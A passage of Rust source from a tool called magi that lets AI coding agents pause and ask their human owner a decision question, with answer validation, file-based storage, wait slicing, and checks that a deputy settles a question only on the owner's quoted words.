Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61pub const SCHEMA: u32 = 9;
62
63/// How often the wait re-reads the question file.
64///
65/// Three seconds: the answer comes from a human on a phone, so the difference
66/// between three seconds and three hundred milliseconds is invisible to them,
67/// while a tight loop would `stat` and parse a file thousands of times per
68/// minute for a wait that routinely lasts hours. Nothing is held between polls -
69/// no lock, no open handle - because `magi web` and `magi answer` write the
70/// same file from other processes.
71const POLL: Duration = Duration::from_secs(3);
72
73/// How long an agent's reply may go unnoticed before it earns its own
74/// notification.
75///
76/// An operator reading the card when the agent replies does not need paging
77/// again for a conversation they are already in; one who walked away still
78/// needs the tap on the shoulder. Five minutes is a judgement call about that
79/// line, not a policy a repository has an opinion about, which is why it lives
80/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
81/// whether they are still looking at the phone, and neither can this build, so
82/// there is nothing for a per-repository setting to be *right* about.
83const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
84
85/// How long the operator's notification command may run before it is killed.
86///
87/// A webhook that hangs must not hang the run. Twenty seconds is long enough
88/// for a slow HTTP round trip and short enough that the operator still gets the
89/// question filed and the run parked in a bounded time.
90const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
91
92/// The longest a single `magi ask` invocation may block on the owner before
93/// it hands the wait back to whatever is running it, rather than to
94/// [`Question::abandon`].
95///
96/// `answer_timeout` defaults to a day, and that is a deadline for the
97/// *question*, not a budget the calling process is free to spend all at
98/// once: an agent CLI's own shell tool kills a command that runs much longer
99/// than this, and the child it kills is `magi ask` itself - the one thing
100/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
101/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
102/// out, and the seat's own summary said it had backgrounded the blocking
103/// `magi ask` and would "continue once the owner replies" - except nothing
104/// was left to notice the reply. The seat exited `completed`, the
105/// backgrounded child died with it, and the owner's eventual answer on the
106/// web UI had nobody left to read it.
107///
108/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
109/// and returns [`Wait::Pending`] if nothing happened, which is not a
110/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
111/// process the tool timeout has never seen. Four minutes leaves a ten-minute
112/// tool budget room for the CLI's own startup and the notification's round
113/// trip, while staying long enough that an owner who answers within the hour
114/// is not making an agent loop through fifteen slices to hear about it.
115const WAIT_SLICE: Duration = Duration::from_secs(240);
116
117/// How long a lease stays believable after its last beat.
118///
119/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
120/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
121/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
122/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
123/// or about to be, and a lease that is merely between two calls must not be
124/// mistaken for that - the daemon waiter would start a second agent on a
125/// conversation the first is still in.
126pub const LEASE_TTL: Duration = Duration::from_secs(90);
127
128/// How long [`Questions::update`]'s lock may be held before it is presumed
129/// left behind by a writer that died.
130const LOCK_STALE: Duration = Duration::from_secs(10);
131
132/// Environment variable naming the base URL of the web UI, for `{url}`.
133///
134/// A run cannot discover this by itself: `magi web` is a different process,
135/// usually started by hand and often on a different machine on the tailnet, and
136/// the address it settled on (Tailscale IP, port, or the fallback it warned
137/// about) exists only in that process. So the operator names it once, in the
138/// environment `magi serve` runs in - `magi web --open` prints exactly the
139/// string to use on stdout. Unset means `{url}` expands to nothing rather than
140/// to a guess: a notification carrying a link to an address nothing is
141/// listening on is worse than one carrying no link at all.
142pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
143
144/// Largest panel magi will store, html plus assets.
145///
146/// Checked as a total, before a single byte is written, because the failure
147/// this prevents is not a full disk but a half-copied panel: an agent that
148/// points at a 200 MB screen recording must get one clean error, not a
149/// directory holding the three small files that fitted before the copy died.
150/// Eight mebibytes is far more than a diff, a table and a handful of images
151/// need, and small enough that a phone on a hotel link still renders it.
152pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
153
154/// Suffix of the directory holding one question's panel.
155///
156/// A sibling of `<id>.json` rather than a subdirectory of the store, so
157/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
158/// see it, and so a panel travels with the question it belongs to.
159const PANEL_DIR: &str = ".panel";
160
161/// The panel's entry point inside its directory.
162const PANEL_HTML: &str = "index.html";
163
164/// Scratch directory a panel is assembled in before it is swapped into place.
165const PANEL_TMP: &str = ".panel.tmp";
166
167/// The one asset filename rule, applied on write **and** on read.
168///
169/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
170/// containing `..`. The pattern is this narrow because the name arrives from
171/// two untrusted directions and is then joined onto a path: an agent naming
172/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
173/// character that could change what the join means is outside the set - `/`
174/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
175/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
176/// refused, which matters because on Windows `Path::join` with an absolute
177/// path *discards the whole prefix* and would serve any file on the disk.
178/// `..` is refused anywhere rather than only at the front so the rule reads
179/// the same as the sentence "no traversal" to anyone auditing it.
180///
181/// The length bound keeps a name inside every filesystem's limit, so a panel
182/// that stores cannot fail to store on the operator's other machine.
183pub fn valid_asset_name(name: &str) -> bool {
184    if name.is_empty() || name.len() > 64 || name.contains("..") {
185        return false;
186    }
187    let mut chars = name.chars();
188    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
189        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
190}
191
192/// Where a question is in its life.
193#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
194#[serde(rename_all = "lowercase")]
195pub enum QuestionStatus {
196    /// Asked, and waiting for the owner. A run is parked behind it.
197    Open,
198    /// The owner decided. [`Question::answer`] holds what they said.
199    Answered,
200    /// Nobody answered in time, or the question outlived the run that asked.
201    /// Kept rather than deleted: what was asked and never answered is the
202    /// evidence that the operator was the bottleneck.
203    Abandoned,
204}
205
206impl QuestionStatus {
207    /// Is a run still parked behind this question?
208    pub fn open(self) -> bool {
209        matches!(self, Self::Open)
210    }
211
212    /// Lowercase name, as it appears on disk and in the API.
213    pub fn as_str(self) -> &'static str {
214        match self {
215            Self::Open => "open",
216            Self::Answered => "answered",
217            Self::Abandoned => "abandoned",
218        }
219    }
220}
221
222/// What the owner said.
223///
224/// Two shapes rather than one string because the question decides which is
225/// admissible, and [`Question::answer`] enforces it. A phone that posts
226/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
227/// front end, and it is caught here rather than handed to an agent as fact.
228#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
229#[serde(rename_all = "lowercase")]
230pub enum Answer {
231    /// One of the offered choices, verbatim.
232    Choice(String),
233    /// Free text, for a question that offered no choices.
234    Text(String),
235}
236
237/// What the daemon does to the task behind a question when a particular
238/// choice is answered.
239///
240/// A closed set, attached to a choice by the asker (`magi ask --choice X
241/// --action X=resume`) and matched by the choice's exact text. Nothing here
242/// is ever derived from the wording of a label or of a free-text answer: a
243/// question without an action for the chosen label does nothing but answer.
244#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
245#[serde(tag = "do", rename_all = "lowercase")]
246pub enum ChoiceAction {
247    /// Resume this run of the task that owns the question.
248    Resume {
249        /// The run to continue. Must still be the task's latest run.
250        run: String,
251    },
252    /// Requeue the task as a fresh competition.
253    Requeue,
254    /// Close the task as done.
255    Done,
256}
257
258impl ChoiceAction {
259    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
260    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
261    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
262    /// action; whether the label is one of the choices is the caller's check.
263    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
264        let Some((label, verb)) = spec.rsplit_once('=') else {
265            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
266        };
267        let label = label.trim();
268        if label.is_empty() {
269            bail!("`--action {spec}` names no choice before `=`");
270        }
271        let verb = verb.trim();
272        let action = match verb.split_once(':') {
273            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
274                run: run.trim().to_owned(),
275            },
276            None if verb == "resume" => {
277                if default_run.is_empty() {
278                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
279                }
280                Self::Resume {
281                    run: default_run.to_owned(),
282                }
283            }
284            None if verb == "requeue" => Self::Requeue,
285            None if verb == "done" => Self::Done,
286            _ => bail!(
287                "unknown action `{verb}` in `--action {spec}`; \
288                 use resume[:<run>], requeue or done"
289            ),
290        };
291        Ok((label.to_owned(), action))
292    }
293
294    /// Short human wording, for `magi show` and the card.
295    pub fn describe(&self) -> String {
296        match self {
297            Self::Resume { run } => format!("resume run {}", short(run)),
298            Self::Requeue => "requeue the task".to_owned(),
299            Self::Done => "mark the task done".to_owned(),
300        }
301    }
302}
303
304/// Parse every `--action` value against the offered `choices`, refusing a
305/// label the question does not offer (it could never fire).
306pub fn parse_actions(
307    specs: &[String],
308    choices: &[String],
309    default_run: &str,
310) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
311    let mut out = std::collections::BTreeMap::new();
312    for spec in specs {
313        let (label, action) = ChoiceAction::parse(spec, default_run)?;
314        if !choices.contains(&label) {
315            bail!(
316                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
317                choices.join(", ")
318            );
319        }
320        if out.insert(label.clone(), action).is_some() {
321            bail!("more than one --action for `{label}`");
322        }
323    }
324    Ok(out)
325}
326
327/// Who wrote one turn of a question's conversation.
328///
329/// Two values, not three: [`Question::thread`] is the record of a single
330/// question stopping and resuming, and the agent that resumes it is always
331/// the one that asked - a fresh consultant would have to be caught up on
332/// everything the first agent already knows, which is the round trip this
333/// module exists to avoid. The names and the wire spelling deliberately match
334/// [`crate::chat::Who`], which this module does not depend on: the two are the
335/// same idea in two products, and giving them the same shape is what lets the
336/// phone render both with one component.
337#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
338#[serde(rename_all = "lowercase")]
339pub enum Who {
340    /// The person the agent asked.
341    Operator,
342    /// The agent that asked, replying to a question of its own rather than
343    /// answering.
344    Agent,
345}
346
347/// One turn in a question's back-and-forth, after the question itself was
348/// asked.
349///
350/// The question's own `summary`/`detail`/`choices` already carry the agent's
351/// opening move, so a turn only exists from the moment the owner talks back -
352/// [`Question::thread`] starts empty and stays that way for the overwhelming
353/// majority of questions, which are answered on the first read.
354#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
355#[serde(deny_unknown_fields)]
356pub struct Turn {
357    /// Who said it.
358    pub who: Who,
359    /// What they said.
360    pub body: String,
361    /// When they said it.
362    pub at: Timestamp,
363    /// A deputy's own report beside a settle: side effects it caused and
364    /// requests it could not carry out. The deputy's claim, never checked by
365    /// magi, and kept apart from `body` so the verified "Settled as" line and
366    /// this self-report cannot be mistaken for each other.
367    #[serde(default, skip_serializing_if = "Option::is_none")]
368    pub note: Option<String>,
369}
370
371/// Who is keeping watch over an open question.
372#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
373#[serde(rename_all = "lowercase")]
374pub enum WaiterKind {
375    /// The `magi ask` process the agent started.
376    Asker,
377    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
378    /// own session because the asker is gone.
379    Daemon,
380    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
381    /// `magi serve` runs for a question the conductor filed, so that something
382    /// which remembers why it was asked is on the other end.
383    Deputy,
384}
385
386/// The follow-up seat a conductor question hands its wait to.
387///
388/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
389/// reply to its question would reach nobody. A deputy is a seat of its own -
390/// keyed `deputy-<question id>`, never the conductor's shared seat - that
391/// inherits what the conductor knew about this one question ([`Deputy::brief`])
392/// and blocks on it with `magi ask --wait`. Persisted on the question so a
393/// restarted daemon resumes the same CLI conversation instead of assuming it.
394///
395/// Written only through [`Questions::update`]: the owner's say and answer land
396/// on the same file.
397#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
398pub struct Deputy {
399    /// Why the question was asked, what each choice leads to: the conductor's
400    /// context for this one question, handed to the deputy in its prompt.
401    pub brief: String,
402    /// The agent that holds the seat. Empty until the first start.
403    #[serde(default)]
404    pub agent: String,
405    /// The deputy's own conversation. `None` until the first start.
406    #[serde(default)]
407    pub seat: Option<crate::agent::SeatState>,
408    /// How many times a deputy turn was started for this question. Never reset
409    /// by a restart, so a deputy that keeps dying is bounded.
410    #[serde(default)]
411    pub starts: u32,
412}
413
414impl Deputy {
415    /// A deputy that has not started yet, holding `brief`.
416    pub fn new(brief: String) -> Self {
417        Self {
418            brief,
419            agent: String::new(),
420            seat: None,
421            starts: 0,
422        }
423    }
424}
425
426/// Seat name of the deputy for question `id`.
427pub fn deputy_seat_key(id: &str) -> String {
428    format!("deputy-{}", short(id))
429}
430
431/// The record's note of who was last known to be waiting.
432///
433/// A note, not a promise: nothing rewrites the question when a holder dies, so
434/// whether it still holds is read from the [`Lease`] beside it.
435#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
436pub struct Waiter {
437    /// Who took the wait.
438    pub kind: WaiterKind,
439    /// When they took it.
440    pub since: Timestamp,
441}
442
443/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
444///
445/// A sidecar rather than a field of the question because a holder beats every
446/// few seconds, and rewriting the question that often would race the phone's
447/// answer and say with lost updates. It is not `*.json`, so
448/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
449/// different things across platforms, while a beat that stopped is evidence on
450/// every one.
451#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
452pub struct Lease {
453    /// Who beat last.
454    pub kind: WaiterKind,
455    /// Their process id, for a human reading the file.
456    pub pid: u32,
457    /// When they beat last.
458    pub beat_at: Timestamp,
459}
460
461impl Lease {
462    /// Was the last beat recent enough to believe the holder is still there?
463    pub fn fresh(&self, now: Timestamp) -> bool {
464        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
465    }
466}
467
468/// One decision magi will not take on the owner's behalf.
469#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
470#[serde(deny_unknown_fields)]
471pub struct Question {
472    /// On-disk format version.
473    pub schema: u32,
474    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
475    /// task's, so the operator can paste any of them at any prefix argument.
476    pub id: String,
477    /// Run that is parked behind this question.
478    pub run: String,
479    /// Graph node the asking agent was working in, e.g. `implement`.
480    pub node: String,
481    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
482    /// this" decides whether the answer unblocks one candidate or all of them.
483    pub seat: String,
484    /// One line: the question itself. This is what a notification carries and
485    /// what the phone shows above the answer controls.
486    pub summary: String,
487    /// The reasoning behind the question, as markdown. May be long, may be
488    /// empty. Rendered as text nodes by the UI, never as markup.
489    pub detail: String,
490    /// Display-only comparison; never used to decide or construct a post.
491    #[serde(default, skip_serializing_if = "Option::is_none")]
492    pub posting_comparison: Option<crate::github_text::PostingComparison>,
493    /// The admissible answers. **Empty means free text** - that one condition
494    /// is the whole difference between the two kinds of question, on disk, in
495    /// the UI, and in [`Question::answer`]'s validation.
496    pub choices: Vec<String>,
497    /// What the daemon does when a given choice is answered, keyed by the
498    /// choice's exact text. Empty for an ordinary question. A key is always
499    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
500    #[serde(default)]
501    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
502    /// Does this question have an agent-authored HTML panel beside it?
503    ///
504    /// Serialised with a default so a question written by an older magi - or
505    /// by hand - still deserialises rather than failing the whole store, which
506    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
507    /// open question the operator was looking for.
508    #[serde(default)]
509    pub panel: bool,
510    /// Files copied in beside the panel's html, by base name, sorted.
511    ///
512    /// The list exists so a reader knows what a panel is made of without
513    /// walking the directory, and every entry satisfies [`valid_asset_name`].
514    /// Sorted because it is compared - a question re-asked with the same
515    /// assets in a different argument order is not a different question.
516    #[serde(default)]
517    pub assets: Vec<String>,
518    /// Current state.
519    pub status: QuestionStatus,
520    /// When the agent asked.
521    pub asked_at: Timestamp,
522    /// When the owner answered, if they did.
523    pub answered_at: Option<Timestamp>,
524    /// What they said.
525    pub answer: Option<Answer>,
526    /// Everything said after the question itself, oldest first: the owner
527    /// asking back, the agent replying, as many times as it takes before an
528    /// [`Answer`] lands.
529    ///
530    /// `#[serde(default)]` so a question written before this field existed -
531    /// every question on disk before this build - still deserialises as one
532    /// with no conversation yet, rather than failing [`Questions::list`]'s
533    /// read and quietly hiding an open question from the operator.
534    #[serde(default)]
535    pub thread: Vec<Turn>,
536    /// The `answer_timeout`, in seconds, that was in force when this question
537    /// was first asked. `0` means unrecorded - a question written before this
538    /// field existed, or one filed by a flow (land's merge-approval gate)
539    /// that never sets it because it never resumes a sliced wait.
540    ///
541    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
542    /// or the config default) is decided by the caller, after the question
543    /// already exists - so it starts at `0` here and whoever files a fresh
544    /// question sets it once, the same way [`Question::panel`] is set by
545    /// [`Questions::put_panel`] rather than by the constructor. It is never
546    /// touched again: `magi ask --wait` reads it as the one deadline it is
547    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
548    /// on a later call can never quietly extend or shrink the budget the
549    /// question was actually asked with.
550    #[serde(default)]
551    pub answer_timeout: u64,
552    /// The directory the asking agent was working in when it asked, so the
553    /// daemon waiter can resume that agent's session from where it stood.
554    /// `None` for a question no `magi ask` filed (land's approval gate, a
555    /// release notice, one written before this field existed): those have no
556    /// agent to hand anything back to, and the waiter leaves them alone.
557    #[serde(default)]
558    pub cwd: Option<String>,
559    /// Who was last known to be waiting - see [`Waiter`].
560    #[serde(default)]
561    pub waiter: Option<Waiter>,
562    /// How many entries of [`Question::thread`] the agent has been shown, by
563    /// the asking process printing them or by the waiter resuming the seat.
564    /// The owner's turn at an index at or past this has reached nobody yet.
565    #[serde(default)]
566    pub delivered_turns: usize,
567    /// Has the agent been told the [`Answer`]? The asker prints it as it
568    /// returns; the waiter delivers it when the asker was gone.
569    #[serde(default)]
570    pub answer_delivered: bool,
571    /// The follow-up seat waiting on this question, for a question the
572    /// conductor filed. `None` for every other question.
573    #[serde(default)]
574    pub deputy: Option<Deputy>,
575    /// Set once the owner handed this question to the chat it came from
576    /// ([`crate::consult::begin`]). The question stays open; this only records
577    /// that the chat was asked, so a second tap does not post it twice.
578    #[serde(default)]
579    pub consult: Option<ChatConsult>,
580}
581
582/// A question the owner passed to the chat conversation its task came from.
583#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
584pub struct ChatConsult {
585    /// The conversation the question was posted into.
586    pub talk: String,
587    /// When it was posted.
588    pub at: Timestamp,
589}
590
591impl Question {
592    /// Does `run` hold a task id rather than a run id? True for the
593    /// conductor's and the triage questions, which are filed about a task.
594    pub fn run_names_task(&self) -> bool {
595        matches!(
596            self.node.as_str(),
597            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
598        )
599    }
600
601    /// Ask something. Persist it with [`Questions::put`], or hand it to
602    /// [`ask_and_wait`], which files it and waits.
603    pub fn new(
604        run: String,
605        node: String,
606        seat: String,
607        summary: String,
608        detail: String,
609        choices: Vec<String>,
610    ) -> Self {
611        Self {
612            schema: SCHEMA,
613            id: new_id(),
614            run,
615            node,
616            seat,
617            summary,
618            detail,
619            posting_comparison: None,
620            choices,
621            actions: std::collections::BTreeMap::new(),
622            panel: false,
623            assets: Vec::new(),
624            status: QuestionStatus::Open,
625            asked_at: Timestamp::now(),
626            answered_at: None,
627            answer: None,
628            thread: Vec::new(),
629            answer_timeout: 0,
630            cwd: None,
631            waiter: None,
632            delivered_turns: 0,
633            answer_delivered: false,
634            deputy: None,
635            consult: None,
636        }
637    }
638
639    /// Short form used in reports and on the phone, matching a run's short id.
640    pub fn short(&self) -> &str {
641        short(&self.id)
642    }
643
644    /// The action attached to the choice that was answered, if the question
645    /// is answered with a choice that carries one. Free text never matches.
646    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
647        match (&self.status, &self.answer) {
648            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
649            _ => None,
650        }
651    }
652
653    /// Does this question want free text rather than one of a set?
654    pub fn free_text(&self) -> bool {
655        self.choices.is_empty()
656    }
657
658    /// Record an answer. Rejects a choice the question does not offer, free
659    /// text on a multiple-choice question, an empty answer, and a second
660    /// answer.
661    ///
662    /// Every rejection here is a case where accepting would put a fabrication
663    /// in front of an agent as if the owner had said it. The messages are
664    /// distinct because the caller is a web handler that shows them verbatim,
665    /// and "that is not one of the choices" and "this question is multiple
666    /// choice" are different mistakes with different fixes.
667    pub fn answer(&mut self, answer: Answer) -> Result<()> {
668        match self.status {
669            QuestionStatus::Answered => bail!(
670                "question {} was already answered; the run has moved on and a \
671                 second answer would be a decision nobody acted on",
672                self.short()
673            ),
674            QuestionStatus::Abandoned => bail!(
675                "question {} was abandoned and the run behind it is gone",
676                self.short()
677            ),
678            QuestionStatus::Open => {}
679        }
680        let body = match &answer {
681            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
682        };
683        if body.trim().is_empty() {
684            bail!(
685                "question {} needs an answer; an empty one tells the agent \
686                 nothing and it would guess anyway",
687                self.short()
688            );
689        }
690        match &answer {
691            Answer::Choice(c) if self.free_text() => bail!(
692                "question {} asks for free text, so `{c}` cannot be a choice \
693                 it offered",
694                self.short()
695            ),
696            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
697                "`{c}` is not one of the choices question {} offers: {}",
698                self.short(),
699                self.choices.join(", ")
700            ),
701            Answer::Text(_) if !self.free_text() => bail!(
702                "question {} is multiple choice; answer with one of: {}",
703                self.short(),
704                self.choices.join(", ")
705            ),
706            _ => {}
707        }
708        self.answered_at = Some(Timestamp::now());
709        self.answer = Some(answer);
710        self.status = QuestionStatus::Answered;
711        Ok(())
712    }
713
714    /// Give up on an answer, keeping the record of what was asked.
715    ///
716    /// An answered question is left alone, which matters at exactly one moment:
717    /// the owner answering in the same second the wait's deadline passes. The
718    /// answer is the thing worth keeping there, and it has already been written
719    /// by another process.
720    ///
721    /// The reason is appended to [`Question::detail`] because the on-disk shape
722    /// is a contract with the front end and has no field of its own for it -
723    /// and "asked at 3am, nobody home for a day" belongs with the question, not
724    /// only in a log the operator will never open.
725    pub fn abandon(&mut self, why: impl Into<String>) {
726        if !self.status.open() {
727            return;
728        }
729        self.status = QuestionStatus::Abandoned;
730        let why = why.into();
731        let why = why.trim();
732        if why.is_empty() {
733            return;
734        }
735        if !self.detail.is_empty() {
736            self.detail.push('\n');
737        }
738        self.detail.push_str("\n_Abandoned: ");
739        self.detail.push_str(why);
740        self.detail.push_str("._\n");
741    }
742
743    /// The answer as the asking agent should read it.
744    ///
745    /// One string for both kinds of question: the agent's prompt says "the
746    /// owner answered:", and a chosen option and a typed sentence are the same
747    /// thing at that point. `None` while the question is open or abandoned, so
748    /// a caller cannot mistake silence for a decision.
749    pub fn resolution(&self) -> Option<String> {
750        match (self.status, &self.answer) {
751            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
752                Some(a.clone())
753            }
754            _ => None,
755        }
756    }
757
758    /// A deputy recording that the owner's own words settled the question.
759    ///
760    /// The owner decided in free text ("setup done") on a question that offers
761    /// choices, so no choice was ever tapped. This records `label` as the
762    /// answer - and nothing else: applying it is the daemon's existing path
763    /// for an answered conductor question. Refused unless the caller is this
764    /// question's deputy seat, `label` is one of the offered choices, and
765    /// `quote` appears verbatim in something the owner said; the quote is
766    /// kept in the thread as an agent turn so the record shows what the
767    /// decision rests on.
768    pub fn settle_by_deputy(
769        &mut self,
770        seat: &str,
771        label: &str,
772        quote: &str,
773        note: Option<&str>,
774    ) -> Result<()> {
775        let Some(deputy) = &self.deputy else {
776            bail!("question {} has no deputy", self.short());
777        };
778        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
779        if own != Some(seat) {
780            bail!("only the deputy of question {} may settle it", self.short());
781        }
782        if !self.choices.iter().any(|c| c == label) {
783            bail!(
784                "`{label}` is not one of the choices offered on question {}",
785                self.short()
786            );
787        }
788        let quote = quote.trim();
789        if quote.is_empty()
790            || !self
791                .thread
792                .iter()
793                .any(|t| t.who == Who::Operator && t.body.contains(quote))
794        {
795            bail!(
796                "the quote is not something the owner said on question {}",
797                self.short()
798            );
799        }
800        // The owner's latest message is what counts (an earlier one may since
801        // have been qualified or withdrawn).
802        let latest = self
803            .thread
804            .iter()
805            .rev()
806            .find(|t| t.who == Who::Operator)
807            .map(|t| t.body.trim());
808        if crate::deputy::merge_gated(self) {
809            // The merge is irreversible and a say is not a decision. `hold` must
810            // be the latest message exactly. For `merge`, whether the words are
811            // a clear, unhedged instruction is the deputy's judgement alone;
812            // all magi checks is that the quote is a verbatim part of that
813            // latest message.
814            let ok = if label == crate::land::APPROVE {
815                latest.is_some_and(|m| m.contains(quote))
816            } else if label == crate::land::HOLD {
817                latest.is_some_and(|m| {
818                    quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
819                })
820            } else {
821                false
822            };
823            if !ok {
824                bail!(
825                    "on a merge approval `{label}` settles it only when the quote is a \
826                     verbatim part of the owner's latest message ({}); if the wording is \
827                     doubtful, ask what they mean with `--thread` instead",
828                    if label == crate::land::HOLD {
829                        "for `hold`, the whole message"
830                    } else {
831                        "the quote must be the instruction itself"
832                    }
833                );
834            }
835        } else if crate::deputy::destructive(self, label)
836            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
837        {
838            bail!(
839                "`{label}` cannot be undone; it settles question {} only when the owner's \
840                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
841                 / not / question); ask what they mean with `--thread` instead",
842                self.short()
843            );
844        }
845        self.thread.push(Turn {
846            who: Who::Agent,
847            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
848            at: Timestamp::now(),
849            note: note
850                .map(str::trim)
851                .filter(|n| !n.is_empty())
852                .map(str::to_owned),
853        });
854        self.delivered_turns = self.thread.len();
855        self.answer(Answer::Choice(label.to_owned()))
856    }
857
858    /// The owner speaking back without answering: a request for context, a
859    /// clarifying question, anything short of a decision.
860    ///
861    /// Rejects the same two states [`Question::answer`] does, and for the same
862    /// reason - a question with a recorded [`Answer`] or an abandoned one has
863    /// no run left listening for a reply - and an empty turn, which would tell
864    /// the agent nothing it didn't already know. Never changes `status`: the
865    /// question stays [`QuestionStatus::Open`], because the owner did not
866    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
867    /// counting this as the one question it always was.
868    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
869        match self.status {
870            QuestionStatus::Answered => bail!(
871                "question {} was already answered; there is nothing left to \
872                 discuss",
873                self.short()
874            ),
875            QuestionStatus::Abandoned => bail!(
876                "question {} was abandoned and the run behind it is gone",
877                self.short()
878            ),
879            QuestionStatus::Open => {}
880        }
881        let body = body.into();
882        if body.trim().is_empty() {
883            bail!("a message to question {} cannot be empty", self.short());
884        }
885        self.thread.push(Turn {
886            who: Who::Operator,
887            body,
888            at: Timestamp::now(),
889            note: None,
890        });
891        Ok(())
892    }
893
894    /// The agent replying to the owner's last word, in place of an answer:
895    /// same question, same id, another round.
